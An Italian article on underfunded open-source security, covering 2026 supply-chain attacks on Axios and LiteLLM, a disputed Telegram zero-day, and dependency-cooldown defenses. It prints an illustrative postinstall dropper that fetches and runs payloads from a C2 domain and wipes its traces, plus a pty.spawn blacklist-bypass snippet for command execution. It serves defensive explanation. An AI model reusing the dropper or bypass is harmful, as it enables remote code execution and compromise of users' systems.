Open Source ai Tempi dell’AI: La Crisi di Sicurezza che Nessuno Vuole Vedere

Come la mancanza di fondi sta mettendo a rischio l’infrastruttura digitale globale, e perché gli attacchi ad Axios, LiteLLM e Telegram sono solo l’inizio

---

Introduzione: Il Paradosso del Successo

L’open source ha vinto. Oggi, tra il 70% e il 90% del codice che alimenta le applicazioni moderne è open source, con un valore economico stimato che supera gli 8 trilioni di dollari secondo uno studio della Harvard Business School.

Eppure, questa vittoria nasconde una crisi sistemica che minaccia la sicurezza dell’intera infrastruttura digitale.

Mentre le aziende continuano a estrarre valore da questo ecosistema, il modello di sostenibilità finanziaria è crollato. Trecento milioni di aziende utilizzano software open source, ma solo 4.200 contribuiscono economicamente. Questo 99,999% di “freeloading” sta creando le condizioni per una catastrofe di sicurezza che si manifesta ogni giorno con nuovi attacchi alla supply chain.

In questo articolo analizzeremo la crisi di sicurezza dell’open source nell’era dell’intelligenza artificiale, confrontando i costi reali rispetto al software proprietario ed esaminando casi recenti come gli attacchi ad Axios, LiteLLM e la zero-day di Telegram.

Qual è la crisi di sicurezza dell’open source nel 2026?

La crisi è causata dalla mancanza di fondi per la manutenzione di progetti critici…

Cosa sono gli attacchi ad Axios e LiteLLM?

Sono supply chain attack dove i maintainer sono stati compromessi…

Come funziona la strategia del cooldown delle dipendenze?

Consiste nel ritardare l’installazione di pacchetti pubblicati da meno di 48 ore…

---

L’Evoluzione dell’Open Source: Dalla Filosofia all’Infrastruttura Critica

Il Cambio di Paradigma

Negli anni ’90 e 2000, l’open source era una filosofia, un movimento ideologico guidato da principi di libertà e condivisione. Richard Stallman e la Free Software Foundation predicavano un modello alternativo al software proprietario, spesso per motivi etici più che economici.

La svolta è arrivata negli anni 2010, quando l’open source è diventato l’infrastruttura standard dell’industria tecnologica. Linux ha conquistato i data center, Android ha dominato il mobile, e framework come React, Angular e Vue.js hanno rivoluzionato lo sviluppo web. Le aziende hanno capito che potevano costruire prodotti commerciali su basi open source, risparmiando milioni in licenze software.

Il Valore Nascosto e il Problema della Sostenibilità

Questa adozione massiva ha creato un paradosso: l’open source è diventato infrastruttura critica, ma mantiene un modello di finanziamento da progetto hobbistico. Secondo Michael Winser, co-fondatore di Alpha-Omega (Linux Foundation), le principali registrazioni open source come PyPI, npm, Crates.io, RubyGems e Maven Central stanno affrontando una crisi finanziaria senza precedenti.

I costi operativi sono sostanziali: solo Crates.io richiede circa 3 milioni di dollari all’anno, con proiezioni che indicano un raddoppio entro il 2030. Questi costi includono larghezza di banda (25%), storage (18%), compute (15%) e, soprattutto, mitigazione del malware (12%).

Eppure, l’investimento in infrastrutture e personale è rimasto stagnante nonostante una crescita esponenziale dell’utilizzo.

---

Il Confronto Costi: La Trappola della “Gratuità”

Software Proprietario vs Open Source

Il software proprietario opera su un modello economico chiaro: paghi una licenza e ottieni supporto garantito, aggiornamenti di sicurezza regolari e una catena di responsabilità definita. Se emerge una vulnerabilità, il vendor è legalmente e commercialmente obbligato a fornire una patch.

L’open source, al contrario, offre un risparmio immediato sulle licenze ma accumula un “debito tecnico” nascosto. Quando una libreria critica viene abbandonata per burnout dei maintainer, le aziende scoprono improvvisamente di dover assumere ingegneri interni per mantenere codice che non hanno scritto, o di dover migrare interi sistemi in tempi brevissimi.

Il Costo Reale della Sicurezza

La crisi di sicurezza si manifesta in numeri allarmanti. Secondo i dati di Alpha-Omega, la mediana di tempo necessario per rimuovere pacchetti malevoli dalle registrazioni è di 39 ore.

In un mondo dove un attacco può compromettere milioni di sistemi in pochi minuti, questo ritardo è inaccettabile.

Nel 2024, Sonatype ha documentato 512.847 pacchetti malevoli nelle registrazioni open source, un aumento del 156% rispetto all’anno precedente.

ReversingLabs ha rilevato un aumento del 1.300% delle minacce malevole tra il 2020 e il 2023.

Il Burnout dei Maintainer

La situazione umana è ancora più preoccupante. Un rapporto del 2025 rivela che il 60% dei maintainer open source non riceve alcun compenso, e il 44% soffre di burnout grave.

Nel novembre 2025, Kubernetes ha annunciato il ritiro di Ingress NGINX, uno dei componenti più utilizzati dell’ecosistema, perché i maintainer non potevano più sostenerne il carico. Lo stesso mese, External Secrets Operator ha congelato tutti gli aggiornamenti: quattro maintainer su cinque avevano abbandonato il progetto per esaurimento.

Come ha dichiarato Kat Cosgrove, Kubernetes Release Team Subproject Lead: “La maggior parte dei maintainer Kubernetes è esaurita” .

---

La Crisi di Sicurezza nell’Era dell’AI

L’Intelligenza Artificiale come Moltiplicatore di Rischio

L’avvento dell’AI sta accelerando la crisi su due fronti. Da un lato, gli strumenti di coding assistito stanno generando codice vulnerabile a ritmi senza precedenti. Dall’altro, gli attaccanti stanno sfruttando l’AI per automatizzare la scoperta e lo sfruttamento delle vulnerabilità.

Secondo Kaspersky, il 45% del codice generato da AI contiene flaw dalla OWASP Top 10, e il 20% delle applicazioni AI-driven dispiegate in produzione presenta errori di configurazione pericolosi.

I modelli LLM, addestrati su dataset che includono codice obsoleto o vulnerabile, tendono a replicare pattern insicuri. Nel 2025, anche i principali LLM hanno raccomandato versioni di dipendenze errate o inesistenti nel 27% dei casi, aprendo la porta ad attacchi di “dependency confusion”.

Le Registrazioni in Crisi Finanziaria

Le registrazioni open source, già in difficoltà economiche, ora devono fronteggiare un volume crescente di malware generato o assistito da AI. Il modello di funding basato su grant e donazioni si è rivelato insufficiente a coprire i costi operativi e di sicurezza.

Michael Winser ha avvertito: “Stiamo vivendo sul tempo preso a prestito”.

Senza un modello di finanziamento sostenibile, la capacità delle registrazioni di investire in funzionalità di sicurezza essenziali, come il rilevamento del malware e l’integrità dei pacchetti, è compromessa.

---

## Cosa sono gli attacchi alla supply chain ad Axios e LiteLLM?

Sono sofisticati attacchi informatici dove gli aggressori hanno compromesso le credenziali dei maintainer di due progetti open source molto popolari. Axios, con 83 milioni di download settimanali, è stato infettato tramite una dipendenza malevola che installava un Remote Access Trojan. LiteLLM, gateway per oltre 100 modelli AI, è stato compromesso sfruttando uno scanner di sicurezza avvelenato. Entrambi gli attacchi sono stati scoperti entro 3 ore, ma hanno esposto milioni di sistemi.

Casi Studio: Gli Attacchi del 2026

Axios: 83 Milioni di Download Compromessi

Il 31 marzo 2026, Axios, uno dei client HTTP JavaScript più popolari con oltre 83 milioni di download settimanali, è stato vittima di un sofisticato attacco alla supply chain.

Le versioni compromesse 1.14.1 e 0.30.4 sono state pubblicate utilizzando le credenziali npm del maintainer principale “jasonsaayman”, compromesse dagli attaccanti.

Meccanismo dell’attacco: Il pacchetto malevolo introduceva una dipendenza fittizia chiamata plain-crypto-js versione 4.2.1. Questa dipendenza conteneva uno script post-installazione che funzionava come dropper per un Remote Access Trojan (RAT) cross-platform. Secondo il ricercatore Ashish Kurmi di StepSecurity: “Il suo unico scopo è eseguire uno script postinstall che agisce come dropper RAT cross-platform, prendendo di mira macOS, Windows e Linux”.

Il dropper contattava un server C2 (Command and Control) e scaricava payload specifici per la piattaforma. Dopo l’esecuzione, il malware si auto-cancellava e sostituiva il proprio package.json con una versione pulita per evadere l’analisi forense.

Indicatori di Compromissione (IoC):

• macOS: /Library/Caches/com.apple.act.mond
• Windows: %PROGRAMDATA%\\wt.exe
• Linux: /tmp/ld.py
• Dominio C2: sfrclak[.]com

Timeline dell’attacco:

• La dipendenza malevola è stata preparata 18 ore prima dell’attacco
• Tre payload separati sono stati pre-costruiti per i tre sistemi operativi
• Entrambi i branch di release sono stati colpiti entro 39 minuti

Ecco un esempio semplificato di come funzionava il dropper nel post-install script:

JavaScript

// Esempio concettuale del meccanismo di dropper
const { exec } = require('child_process');
const os = require('os');
const https = require('https');
const fs = require('fs');
const path = require('path');

const platform = os.platform();
const arch = os.arch();

// Selezione del payload in base alla piattaforma
const payloadMap = {
  'darwin': 'macos_payload.bin',
  'win32': 'windows_payload.exe',
  'linux': 'linux_payload.py'
};

const payload = payloadMap[platform];
if (!payload) process.exit(0);

// Download dal server C2
const downloadPath = path.join(os.tmpdir(), payload);
const file = fs.createWriteStream(downloadPath);

https.get(`https://sfrclak.com/${payload}`, (response) => {
  response.pipe(file);
  file.on('finish', () => {
    file.close();
    
    // Esecuzione del payload
    if (platform === 'win32') {
      exec(`start ${downloadPath}`);
    } else if (platform === 'darwin') {
      exec(`chmod +x ${downloadPath} && ${downloadPath}`);
    } else {
      exec(`python3 ${downloadPath}`);
    }
    
    // Auto-distruzione: sostituzione del package.json
    const cleanPackage = {
      "name": "plain-crypto-js",
      "version": "4.2.1",
      "description": "Crypto utilities",
      "main": "index.js"
    };
    fs.writeFileSync('package.json', JSON.stringify(cleanPackage, null, 2));
  });
});

LiteLLM: Quando lo Scanner di Sicurezza Diventa il Vettore d’Attacco

Il 24 marzo 2026, LiteLLM, un gateway AI unificato che gestisce l’accesso a oltre 100 modelli LLM, è stato compromesso su PyPI.

Con 3,4 milioni di download giornalieri, LiteLLM rappresenta un obiettivo ad alto valore perché tipicamente opera in ambienti con accesso a chiavi API e credenziali cloud sensibili.

Il vettore d’attacco: Gli attaccanti, identificati come TeamPCP, non hanno compromesso direttamente LiteLLM. Invece, hanno sfruttato una compromissione precedente di Trivy, uno scanner di sicurezza open source utilizzato nella pipeline CI/CD di LiteLLM. Attraverso la GitHub Action di Trivy avvelenata, hanno ottenuto le credenziali PyPI del maintainer di LiteLLM.

Il payload a tre stadi:

1. Credential Harvester: Raccolta di oltre 50 categorie di secret, incluse chiavi AWS, token GitHub, chiavi SSH e credenziali Kubernetes
2. Kubernetes Lateral Movement Toolkit: Strumenti per muoversi lateralmente all’interno dei cluster Kubernetes
3. Persistent Backdoor: Accesso remoto persistente per esecuzione di codice arbitrario

I pacchetti compromessi (versioni 1.82.7 e 1.82.8) sono stati disponibili per circa tre ore prima che PyPI li mettesse in quarantena. L’esfiltrazione avveniva verso il dominio models.litellm.cloud, registrato appositamente il 23 marzo 2026.

La vulnerabilità CVE-2024-6825 bypass: Un’analisi successiva ha rivelato che la fix per la CVE-2024-6825 (Remote Code Execution) poteva essere bypassata utilizzando il modulo Python pty (pseudo-terminal), non incluso nella blacklist delle funzioni pericolose:

Python

# Esempio del bypass della blacklist in LiteLLM
# La blacklist bloccava 'os.system', 'subprocess.call', ecc.
# ma non includeva 'pty.spawn'

import pty
import os

# Questo bypassa la blacklist e permette l'esecuzione di comandi
pty.spawn('/bin/bash')  # o qualsiasi altro comando

# Alternativa per eseguire codice arbitrario
pty.spawn(['/usr/bin/python3', '-c', 'import os; os.system("comando malevolo")'])

Questo esempio mostra come un attaccante autenticato potesse eseguire comandi arbitrari sul server LiteLLM semplicemente configurando pty.spawn come callback post-chiamata LLM, sfruttando il fatto che il modulo pty non era considerato pericoloso nella blacklist di sicurezza.

Telegram: La Zero-Day Contestata

Tra la fine di marzo e l’inizio di aprile 2026, è emersa una controversa vulnerabilità zero-click in Telegram. Scoperta dal ricercatore Michael DePlante di Trend Micro Zero Day Initiative, la vulnerabilità ZDI-CAN-30207 ha ricevuto inizialmente un punteggio CVSS di 9.8 (critica), poi ridotto a 7.0 (alta).

La vulnerabilità: La falla consentiva l’esecuzione di codice remoto (RCE) senza interazione da parte dell’utente, semplicemente inviando uno sticker animato malevolo. Il problema risiedeva nel modo in cui Telegram processava automaticamente i file media per generare anteprime.

La controversia: Telegram ha formalmente negato l’esistenza della vulnerabilità, sostenendo che ogni sticker viene validato lato server prima della distribuzione, rendendo tecnicamente impossibile l’esecuzione di codice malevolo attraverso questo vettore.

Tuttavia, esperti di sicurezza come quelli di heise.de hanno notato che “una scansione lato server non chiude tale vulnerabilità; al massimo rende lo sfruttamento più difficile”.

Zero Day Initiative ha fissato una deadline di disclosure per il 24 luglio 2026, dopo la quale verranno pubblicati i dettagli tecnici completi .

Mitigazioni consigliate:

• Disabilitare l’auto-download dei media: Impostazioni → Dati e Archiviazione → Auto-download media
• Limitare i messaggi dai nuovi contatti ai soli contatti salvati o utenti Premium
• Utilizzare la versione web di Telegram in browser aggiornati

---

La Strategia del “Cooldown” come Difesa Proattiva

Tra le contromisure più efficaci e immediatamente implementabili contro gli attacchi alla supply chain emerge una strategia sorprendentemente semplice: il ritardo artificiale nell’adozione delle nuove dipendenze. L’idea è che, se una dipendenza è stata pubblicata meno di 48-72 ore fa, il sistema dovrebbe automaticamente installare la versione precedente, più “matura” e verificata dalla comunità.

La logica dietro il cooldown

La ragione è empirica: la maggior parte delle compromissioni della supply chain viene scoperta e rimossa dal registro entro le prime 24-72 ore. Nell’attacco ad Axios, la finestra di esposizione è stata di circa 3 ore; nel caso di LiteLLM, di circa 3 ore; per NX, ESLint e altri pacchetti simili, le compromissioni sono state rilevate entro il primo giorno

.

Come ha osservato StepSecurity: “La maggior parte dei rilasci di pacchetti malevoli viene scoperta entro le prime 24 ore dalla pubblicazione, spesso da scanner automatizzati, ricercatori di sicurezza o dai maintainer stessi. I progetti che vengono compromessi sono tipicamente quelli che si affrettano ad adottare immediatamente la nuova versione” .

Implementare un cooldown di 48 ore significa quindi lasciare che la comunità agisca da “canarino nella miniera di carbone”, esponendosi al rischio iniziale per permettere a tutti gli altri di installare versioni già verificate.

Implementazione pratica nei principali package manager

npm (v11.10.0+)

bash

# Configurazione globale
npm config set min-release-age 2  # 2 giorni

# Oppure nel file .npmrc del progetto
min-release-age=2

pnpm (v10.16+) Nel file pnpm-workspace.yaml:

yaml

minimumReleaseAge: 2880  # 48 ore in minuti
minimumReleaseAgeExclude:
  - '@types/react'  # Eccezioni per pacchetti interni o critici
  - 'typescript'

Yarn (v4.10+) Nel file .yarnrc.yml:

yaml

npmMinimalAgeGate: "2d"
npmPreapprovedPackages:
  - "@types/react"
  - "typescript"

Bun (v1.3+) Nel file bunfig.toml:

toml

[install]
minimumReleaseAge = 172800  # 48 ore in secondi
minimumReleaseAgeExcludes = ["@types/bun", "typescript"]

Deno (v2.6+)

bash

deno update --minimum-dependency-age 2d

uv (v0.9.17+)

bash

uv pip install --exclude-newer "2 days ago"

Configurazione CI/CD: Dependabot e Renovate

Dependabot (da luglio 2025) supporta nativamente il cooldown

:

yaml

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"
    cooldown:
      default-days: 2        # 48 ore di default
      semver-patch-days: 1   # 24 ore per patch
      semver-minor-days: 2   # 48 ore per minor
      semver-major-days: 7   # 7 giorni per major

Renovate utilizza minimumReleaseAge (precedentemente stabilityDays)

:

JSON

{
  "minimumReleaseAge": "2 days",
  "packageRules": [
    {
      "matchUpdateTypes": ["patch"],
      "minimumReleaseAge": "1 day"
    },
    {
      "matchUpdateTypes": ["major"],
      "minimumReleaseAge": "7 days"
    }
  ]
}

Un esempio di utility personalizzata

Per chi utilizza ecosistemi che non supportano nativamente il cooldown (Maven, Gradle, pip senza configurazioni avanzate), ecco un esempio di script Python che può essere integrato nelle pipeline CI/CD:

Python

#!/usr/bin/env python3
"""
Dependency Cooldown Checker
Verifica che le dipendenze installate siano "mature" (pubblicate da almeno N ore)
"""

import json
import sys
import subprocess
from datetime import datetime, timedelta
from typing import Optional
import requests

class DependencyCooldownChecker:
    def __init__(self, cooldown_hours: int = 48):
        self.cooldown_hours = cooldown_hours
        self.cutoff_date = datetime.utcnow() - timedelta(hours=cooldown_hours)
        
    def get_package_publish_date(self, package_name: str, version: str, registry: str = "npm") -> Optional[datetime]:
        """Recupera la data di pubblicazione di un pacchetto dal registro."""
        try:
            if registry == "npm":
                url = f"https://registry.npmjs.org/{package_name}/{version}"
                response = requests.get(url, timeout=10)
                data = response.json()
                # npm restituisce la data in formato ISO
                publish_time = data.get('time', {}).get(version)
                if publish_time:
                    return datetime.fromisoformat(publish_time.replace('Z', '+00:00'))
            elif registry == "pypi":
                url = f"https://pypi.org/pypi/{package_name}/{version}/json"
                response = requests.get(url, timeout=10)
                data = response.json()
                upload_time = data.get('urls', [{}])[0].get('upload_time')
                if upload_time:
                    return datetime.fromisoformat(upload_time)
        except Exception as e:
            print(f"⚠️  Errore nel recupero di {package_name}@{version}: {e}")
            return None
        return None
    
    def check_dependencies(self, lockfile_path: str) -> list:
        """Analizza un lockfile e verifica il cooldown di ogni dipendenza."""
        violations = []
        
        # Esempio per package-lock.json
        with open(lockfile_path, 'r') as f:
            lockfile = json.load(f)
            
        packages = lockfile.get('packages', {})
        for path, info in packages.items():
            if not path.startswith('node_modules/'):
                continue
                
            name = path.replace('node_modules/', '').split('node_modules/')[-1]
            version = info.get('version')
            
            if not version:
                continue
                
            publish_date = self.get_package_publish_date(name, version)
            if publish_date and publish_date > self.cutoff_date:
                hours_old = (datetime.utcnow() - publish_date).total_seconds() / 3600
                violations.append({
                    'package': name,
                    'version': version,
                    'published': publish_date.isoformat(),
                    'hours_old': round(hours_old, 1)
                })
                
        return violations
    
    def suggest_safe_version(self, package_name: str, current_version: str) -> Optional[str]:
        """Suggerisce la versione più recente che rispetta il cooldown."""
        try:
            url = f"https://registry.npmjs.org/{package_name}"
            response = requests.get(url, timeout=10)
            data = response.json()
            
            versions = data.get('versions', {})
            times = data.get('time', {})
            
            # Trova la versione più recente che rispetta il cooldown
            valid_versions = []
            for ver, info in versions.items():
                if ver in times:
                    publish_time = datetime.fromisoformat(times[ver].replace('Z', '+00:00'))
                    if publish_time <= self.cutoff_date:
                        valid_versions.append((ver, publish_time))
            
            if valid_versions:
                # Ordina per data di pubblicazione decrescente
                valid_versions.sort(key=lambda x: x[1], reverse=True)
                return valid_versions[0][0]
                
        except Exception as e:
            print(f"⚠️  Errore nel recupero versioni per {package_name}: {e}")
        
        return None

def main():
    checker = DependencyCooldownChecker(cooldown_hours=48)
    
    print(f"🔍 Controllo cooldown dipendenze (soglia: 48 ore)")
    print("-" * 60)
    
    # Esempio di utilizzo con package-lock.json
    try:
        violations = checker.check_dependencies('package-lock.json')
        
        if not violations:
            print("✅ Tutte le dipendenze rispettano il cooldown di 48 ore")
            sys.exit(0)
        
        print(f"⚠️  Trovate {len(violations)} dipendenze troppo recenti:\n")
        
        for v in violations:
            print(f"  📦 {v['package']}@{v['version']}")
            print(f"     Pubblicato: {v['published']}")
            print(f"     Età: {v['hours_old']} ore fa")
            
            # Suggerisci versione sicura
            safe_version = checker.suggest_safe_version(v['package'], v['version'])
            if safe_version and safe_version != v['version']:
                print(f"     💡 Versione consigliata: {safe_version}")
            print()
            
        print("❌ CI/CD fallita: aggiornare le dipendenze o attendere il cooldown")
        sys.exit(1)
        
    except FileNotFoundError:
        print("❌ Lockfile non trovato")
        sys.exit(1)

if __name__ == "__main__":
    main()

Questo script può essere eseguito nelle pipeline CI/CD per bloccare automaticamente l’installazione di dipendenze troppo recenti, suggerendo versioni alternative che rispettano il cooldown.

Limiti e considerazioni

Il cooldown non è una soluzione perfetta. Come ha osservato Andrew Nesbitt: “Se tutti usassero questa funzionalità, allora tutti userebbero un particolare pacchetto per la prima volta allo stesso momento. Cosa succederebbe allora?” . La risposta è che esistono sempre sviluppatori che aggiornano immediatamente, e le aziende di sicurezza scansionano proattivamente i registri.

Inoltre, il cooldown non deve applicarsi alle patch di sicurezza critiche. È fondamentale configurare eccezioni che permettano l’installazione immediata di aggiornamenti che risolvono CVE note, altrimenti si rischia di rimanere esposti a vulnerabilità già pubbliche.

### Come funziona la strategia del cooldown delle dipendenze?

È una contromisura che prevede il ritardo automatico nell'installazione dei pacchetti software pubblicati da meno di 48 ore. I principali package manager (npm, pnpm, yarn, bun) supportano questa funzionalità nativamente dal 2025-2026. La logica è che la maggior parte delle compromissioni viene scoperta entro 24-72 ore dalla pubblicazione; attendere permette alla comunità di agire da "canarino nella miniera di carbone", esponendosi al rischio iniziale per proteggere chi adotta il cooldown.

---

L’Analisi Tecnica: Pattern Ricorrenti negli Attacchi

Il Ciclo dell’Attacco Moderno

Analizzando gli attacchi ad Axios, LiteLLM e casi precedenti come XZ Utils, emerge un pattern ricorrente:

1. Compromissione delle credenziali del maintainer o di strumenti nella pipeline CI/CD
2. Iniezione di codice malevolo nelle release ufficiali, spesso non nel repository Git ma nei tarball di distribuzione
3. Sfruttamento delle dipendenze transitive che rende l’attacco invisibile agli strumenti di scansione standard
4. Persistenza e movimento laterale per massimizzare l’impatto

Il Caso XZ Utils: Un Precedente Preoccupante

L’attacco a XZ Utils (CVE-2024-3094) del 2024 rappresenta il caso studio più sofisticato. L’attaccante, operante con lo pseudonimo “Jia Tan”, ha impiegato 2.6 anni per guadagnare la fiducia della comunità, diventando maintainer del progetto attraverso contributi apparentemente legittimi.

Il backdoor è stato iniettato nelle versioni 5.6.0 e 5.6.1, ma solo nei tarball ufficiali, non nel repository Git. Questa discrepanza ha evidenziato una lacuna critica: la mancanza di audit sulle release distribuite rispetto al codice sorgente visibile.

L’attaccante ha anche ricevuto email pressanti (forse orchestrate) per spingere il maintainer originale Lasse Collin a trasferire la manutenzione del progetto.

Questo livello di pazienza e sofisticazione suggerisce un attore state-aligned, probabilmente con risorse nazionali.

---

Le Soluzioni e il Futuro dell’Open Source

Investimenti Recenti e Iniziative

Nel marzo 2026, la Linux Foundation ha annunciato un investimento collettivo di 12,5 milioni di dollari da parte di Anthropic, AWS, GitHub, Google, Google DeepMind, Microsoft e OpenAI per rafforzare la sicurezza dell’ecosistema open source.

Questi fondi saranno gestiti da Alpha-Omega e OpenSSF.

Nel 2025, Alpha-Omega ha già investito 5,8 milioni di dollari in 14 progetti critici, completando oltre 60 audit di sicurezza e risolvendo 52 vulnerabilità.

Tuttavia, come ha notato Greg Kroah-Hartman del progetto Linux kernel: “Il solo funding tramite grant non risolverà il problema che gli strumenti AI stanno causando oggi ai team di sicurezza open source”.

Best Practices per le Organizzazioni

Per mitigare i rischi, le organizzazioni dovrebbero adottare:

1. Software Bill of Materials (SBOM): Inventario completo delle dipendenze per visibilità immediata quando emergono vulnerabilità
2. Zero Trust esteso alla supply chain: Non fidarsi ciecamente dei pacchetti open source, indipendentemente dalla popolarità
3. Pinning delle dipendenze: Bloccare le versioni e verificare gli hash crittografici
4. Audit continuo: Scansione regolare delle dipendenze con strumenti come Snyk, Dependabot o Trivy (con cautela post-incidente LiteLLM)
5. Rotazione delle credenziali: Procedura immediata di rotazione di tutti i secret se viene rilevata una versione compromessa

Il Ruolo dell’AI Difensiva

L’AI può essere anche parte della soluzione. Strumenti di fuzzing automatizzato, triage delle vulnerabilità e rilevamento di anomalie nelle pipeline CI/CD possono aiutare i maintainer a gestire il volume crescente di segnalazioni di sicurezza. Tuttavia, come dimostra il caso LiteLLM, anche gli strumenti di sicurezza possono diventare vettori d’attacco se non adeguatamente protetti.

---

Conclusioni: La Sostenibilità come Sicurezza Nazionale

La crisi di sicurezza dell’open source non è un problema tecnico, ma un problema economico e sociale. Quando maintainer esausti abbandonano progetti critici come Ingress NGINX, o quando registrazioni come PyPI non hanno le risorse per rimuovere pacchetti malevoli in tempi ragionevoli, l’intera infrastruttura digitale globale è a rischio.

Le aziende devono smettere di vedere l’open source come una risorsa gratuita da sfruttare. Il modello di “OSS Pledge”, che suggerisce un contributo minimo di 2.000 dollari all’anno per sviluppatore, rappresenta un inizio, ma non è sufficiente. Serve un impegno concreto: contribuire codice upstream, dedicare ore di ingegneria alla manutenzione dei progetti critici, e trattare la sicurezza open source come l’infrastruttura critica che è.

Come ha dichiarato Christian Grobmeier, maintainer di Log4j, nel riflettere sulla vicenda Log4Shell: “Se questo training fosse esistito cinque anni fa, forse Log4Shell non sarebbe stato qui oggi” . La prevenzione richiede investimento continuo, non reazioni d’emergenza dopo la catastrofe.

Gli attacchi ad Axios, LiteLLM e Telegram sono solo l’ultimo capitolo di una crisi sistemica. Senza un cambio di paradigma nel modo in cui finanziamo e manteniamo l’open source, il prossimo capitolo potrebbe essere molto più costoso per tutti.

---

Riferimenti e Fonti:

• Kaspersky – Open-source vulnerabilities in AI era
• Security Affairs – Telegram zero-day controversy
• The Hacker News – Axios supply chain attack
• SC World – Telegram zero-click vulnerability
• NSIDE Attack Logic – LiteLLM CVE-2024-6825 bypass
• News4Hackers – Open source registries financial crisis
• SC World – Open source registries underfunded
• Trend Micro – Inside LiteLLM supply chain compromise
• The Register – Open source registries underfunded
• Beyond Machines – Critical zero-click vulnerability in Telegram
• Picus Security – Axios npm supply chain attack analysis
• Pass4sure – Log4j analysis
• GitHub Blog – Inside Log4Shell breach
• Snyk – Poisoned security scanner backdooring LiteLLM
• HeroDevs – LiteLLM supply chain attack analysis
• Heise.de – Telegram security vulnerability controversy
• Cloud Security Alliance – Security risks in AI-generated code
• Endor Labs – Most common vulnerabilities in AI-generated code
• ASEE – Open Source vs Proprietary security perspective
• Red Hat – When bots commit AI-generated code
• arXiv – Wolves in the Repository: XZ Utils analysis
• OpenSSF – Tech leaders invest $12.5M in open source security
• Cyber Desserts – Gartner 2025 supply chain prediction retrospective
• OSINT Foundation – Corporate sponsorship
• Security Scorecard – 2025 Supply Chain Cybersecurity Trends
• Sonatype – State of the Software Supply Chain
• Linux Foundation – $12.5M grant funding announcement
• DeepStrike – Supply chain attack statistics 2025
• Byte Iota – Open source maintainer crisis
• SentinelOne – XZ Utils backdoor analysis
• ReversingLabs – 2025 Software Supply Chain Security Report
• ISACA – 2025 Software Supply Chain Security Report